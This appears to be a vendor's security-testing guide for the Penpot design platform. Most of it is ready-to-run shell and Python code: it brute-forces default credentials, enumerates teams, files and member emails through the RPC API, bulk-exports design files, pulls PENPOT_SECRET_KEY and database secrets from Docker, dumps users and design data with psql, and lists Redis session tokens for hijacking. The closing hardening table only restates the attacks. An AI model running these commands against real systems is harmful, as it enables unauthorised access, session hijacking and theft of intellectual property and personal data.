Penpot Security Testing: Default Credentials, API Key, Database, and Feature Flags

Penpot is a widely deployed open-source design and prototyping platform (Figma alternative) used for creating UI/UX designs, brand assets, and product mockups — it stores all team design files, assets, and prototypes. Key assessment areas: admin@example.com / penpot are the documented demo credentials often left unchanged; PENPOT_SECRET_KEY signs session cookies; the RPC API provides access to all team design files; design files can be exported as binary blobs; PostgreSQL stores all metadata and team memberships; and Redis stores active session tokens. Penpot compromise exposes proprietary product designs, brand assets, and unreleased UI mockups representing significant intellectual property. This guide covers systematic Penpot security assessment.

Table of Contents

  1. Default Credentials and Authentication Testing
  2. API Design File and Team Enumeration
  3. PENPOT_SECRET_KEY and Database Extraction
  4. Penpot Security Hardening

Default Credentials and Authentication Testing

# Penpot — default credentials and authentication testing
PENPOT_URL="https://penpot.example.com"

# Penpot login — test documented demo/default credentials
for CRED in "admin@example.com:penpot" "admin@penpot.app:penpot" "demo@example.com:penpot" "admin@example.com:admin"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  AUTH=$(curl -s -X POST "${PENPOT_URL}/api/rpc/command/login-with-password" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  STATUS=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('id'):
    print(f'OK id={d.get(\"id\")} name={d.get(\"fullname\",\"\")} admin={d.get(\"is_superuser\",False)}')
elif 'error' in str(d).lower() or 'wrong' in str(d).lower():
    print('FAIL')
else:
    print(str(d)[:60])
" 2>/dev/null)
  echo "${EMAIL}/${PASS}: ${STATUS}"
done

# Check PENPOT_FLAGS — controls registration and authentication
# disable-registration prevents new account creation
# enable-login-with-password (default) enables password login
# disable-email-verification skips email verification (insecure default in many setups)
curl -s "${PENPOT_URL}/api/rpc/command/get-profile" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Returns current user or error
print(str(d)[:100])
" 2>/dev/null

# Session token from cookie — Penpot uses cookie-based auth
# AUTH_TOKEN cookie signed with PENPOT_SECRET_KEY
AUTH_COOKIE="auth-token-value-from-browser"
curl -s "${PENPOT_URL}/api/rpc/command/get-profile" \
  -H "Cookie: auth-token=${AUTH_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Profile: {d.get(\"fullname\")} email={d.get(\"email\")} superuser={d.get(\"is_superuser\")}')
" 2>/dev/null

API Design File and Team Enumeration

# Penpot RPC API — design file and team enumeration
PENPOT_URL="https://penpot.example.com"
# Penpot uses cookie auth — extract from logged-in browser session
AUTH_COOKIE="auth-token=your-session-token"

# Get all teams (workspaces)
curl -s "${PENPOT_URL}/api/rpc/command/get-teams" \
  -H "Cookie: ${AUTH_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
teams = d if isinstance(d,list) else []
print(f'Teams: {len(teams)}')
for t in teams[:10]:
    print(f'  [{t.get(\"id\")}] {t.get(\"name\")} members={t.get(\"num-members\",0)}')
" 2>/dev/null

# Get all projects in a team
TEAM_ID="your-team-id"
curl -s "${PENPOT_URL}/api/rpc/command/get-projects?team-id=${TEAM_ID}" \
  -H "Cookie: ${AUTH_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d if isinstance(d,list) else []
print(f'Projects: {len(projects)}')
for p in projects[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} modified={str(p.get(\"modified-at\",\"\"))[:10]}')
" 2>/dev/null

# Get all files in a project (design files)
PROJECT_ID="your-project-id"
curl -s "${PENPOT_URL}/api/rpc/command/get-project-files?project-id=${PROJECT_ID}" \
  -H "Cookie: ${AUTH_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
files = d if isinstance(d,list) else []
print(f'Design files: {len(files)}')
for f in files[:10]:
    print(f'  [{f.get(\"id\")}] {f.get(\"name\")} pages={len(f.get(\"data\",{}).get(\"pages-index\",{}))}')
" 2>/dev/null

# Export a design file — downloads complete binary design data (IP theft)
FILE_ID="your-file-id"
curl -s "${PENPOT_URL}/api/export-binfile?file-id=${FILE_ID}&include-libraries=true" \
  -H "Cookie: ${AUTH_COOKIE}" \
  -o exported_design.penpot 2>/dev/null
ls -la exported_design.penpot 2>/dev/null && echo "Design file exported"

# Get team members
curl -s "${PENPOT_URL}/api/rpc/command/get-team-members?team-id=${TEAM_ID}" \
  -H "Cookie: ${AUTH_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d if isinstance(d,list) else []
print(f'Team members: {len(members)}')
for m in members[:10]:
    print(f'  {m.get(\"fullname\")} email={m.get(\"email\")} role={m.get(\"role\")}')
" 2>/dev/null

PENPOT_SECRET_KEY and Database Extraction

# Penpot PENPOT_SECRET_KEY and database credential extraction

# Docker environment variables
docker inspect penpot-backend 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['PENPOT','SECRET','DATABASE','REDIS','SMTP','FLAGS','PASSWORD']):
            print(e)
" 2>/dev/null
# PENPOT_SECRET_KEY — cookie/session signing key
# PENPOT_DATABASE_URI — PostgreSQL connection string
# PENPOT_REDIS_URI — Redis connection string
# PENPOT_SMTP_* — mail server credentials
# PENPOT_FLAGS — feature flags (registration, auth methods)

# PostgreSQL — all team and file data
DB_URL="postgresql://penpot:PASSWORD@localhost/penpot"

# All users
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, email, fullname, is_active, is_superuser,
       created_at, last_login_at
FROM profile
ORDER BY is_superuser DESC, created_at ASC
LIMIT 20;
EOF

# All teams and their members
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT t.id, t.name,
       p.email as member_email, p.fullname,
       tm.role, tm.created_at
FROM team_profile_rel tm
JOIN team t ON tm.team_id = t.id
JOIN profile p ON tm.profile_id = p.id
ORDER BY t.name, tm.role
LIMIT 30;
EOF

# All design files
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT f.id, f.name, f.project_id,
       pr.name as project_name, t.name as team_name,
       f.created_at, f.modified_at
FROM file f
JOIN project pr ON f.project_id = pr.id
JOIN team t ON pr.team_id = t.id
ORDER BY f.modified_at DESC
LIMIT 20;
EOF
-- file.data column contains the actual binary design data (transit-json)

# Redis — active session tokens
redis-cli -u redis://localhost:6379 KEYS "penpot:session:*" 2>/dev/null | head -10
# Session tokens can be used to hijack active user sessions

Penpot Security Hardening

Penpot Security Hardening Checklist:
Security TestMethodRisk
Default demo credential access (admin@example.com/penpot)POST /api/rpc/command/login-with-password with documented demo credentials — commonly left unchanged; full access to all team design files and projectsCritical
PENPOT_SECRET_KEY session cookie forgeryRead PENPOT_SECRET_KEY from Docker env — forge valid session cookies for any user; access all team design files without credentialsCritical
Design file bulk export for IP theftGET /api/export-binfile?file-id={id} — download complete binary design files; extract proprietary product designs, brand assets, unreleased mockups; all team design IP in one request per fileHigh
Redis session token hijackingKEYS penpot:session:* on unauthenticated Redis — enumerate all active session tokens; GET session token values to impersonate any active user without their credentialsCritical
PostgreSQL file.data design binary extractionSELECT data FROM file — binary transit-json design data for all files; complete design IP accessible with database credentials outside Penpot access controlsHigh

Automate Penpot Security Testing

Ironimo tests Penpot deployments for default admin@example.com/penpot credential access, PENPOT_SECRET_KEY session cookie forgery, design file bulk export for IP theft assessment, Redis session token hijacking on unauthenticated Redis, PostgreSQL file binary data extraction, team member email enumeration, PENPOT_FLAGS misconfiguration (open registration, email verification bypass), SMTP credential extraction, Docker environment variable exposure, and design file project access boundary testing.

Start free scan